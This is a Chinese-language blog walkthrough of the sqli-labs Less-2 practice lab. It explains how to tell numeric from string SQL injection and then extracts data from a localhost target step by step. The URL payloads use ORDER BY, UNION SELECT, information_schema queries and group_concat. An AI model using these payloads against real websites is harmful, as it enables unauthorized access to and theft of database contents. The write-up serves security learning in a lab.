zoukankan      html  css  js  c++  java
  • sqli-labs第二关 详解

    学会了第一关,时隔多天来到了第二关,怎么说了没有看wp就给做出来了。

    首先,我是自己先判断了下,这个是什么注入

    ?id=1'  不行

    ?id=1' or '1'='1--+  也不行

    然后又尝试了下

    ?id=1 and 1=1  页面显示正常

    ?id=1 and 1=2  页面又错误回显

    然后这就是数字注入了

    于是我们去查库,跟第一关的思路是一样的。然后就爆出了库。如果不懂的可以点这个链接。

     https://www.cnblogs.com/junlebao/p/13758919.html

     sql注入一般步骤:

    第一步:通过特殊的数据库查询语句

    第二步:在数据库的错误返回中找到sql漏洞

    第三步:利用sql语句猜解管理人员信息并登录管理员后台

    判断注入类型

    数字型注入

    1. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1'时,因为有一个多余的"单引号"使查询语句错误

    2. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1时,没有报错

    3. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2时,由于1=2不成立,也会报错

    满足这三个,基本上就是数字注入了

    字符型注入

    1. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1'时,数据库认为id叫做1'。查询之后发现没有这个id而返回错误。(在字符型注入中,需要考虑引号的闭合)

    2. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1' and '1'='1 在'1'='1之后没有加上'是因为传参时输入的内容已经被' '包围。

    后台查询列数

    使用order by试出数据库列数

    url为 http://127.0.0.1/sqli-labs/Less-2/?id=1' order by 数字 (如果试4时有错误,3时正确,那么列数为3)

    找显示位

    使用union select找出会返回客户端并显示的列。如果有3列时,应该这么写

    url为 http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,3

    加入显示位是3,这就意味着数据库开放了5个“窗口”用来显示内容,用查询到的数据,在这些窗口显示数据

    查库名

    联合查询:select database();

    下面是查看数据库的版本和数据库信息

    假如显示位是3,http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,version,database()

    查表名

    找到库名以后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,table_name from information_schema.tables where table_schema='库名' (如果库名是字符型,此处库名要转成十六进制)

    information_schema:

    这是一个mysql自带的库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表列的数据类型与访问权限等,所以我们查询这个库

    查列名

    找到表之后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,column_name from information_schema.columns where table_name='表名' (如果表名是字符型,此处库名要转成十六进制)

    如果表数或列数过多,可以在最后使用limit加上limit 0,5相当于检索1-5条信息

    查具体数据

    找到列之后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,group_concat("要查询的数据") from 表名

  • 相关阅读:
    如何作需求
    AS400如何将Spooled File 拷贝到源物理文件
    AS400 批量FTP
    Oracle和db2/400的差别
    CL内建函数
    visio如何扩大画布的大小
    如何把C/S架构较为平滑的切换到SOA架构
    关于DataTable里大批量查找的更快速的方法
    c#键值对容器
    什么是委托
  • 原文地址:https://www.cnblogs.com/junlebao/p/13772108.html
Copyright © 2011-2022 走看看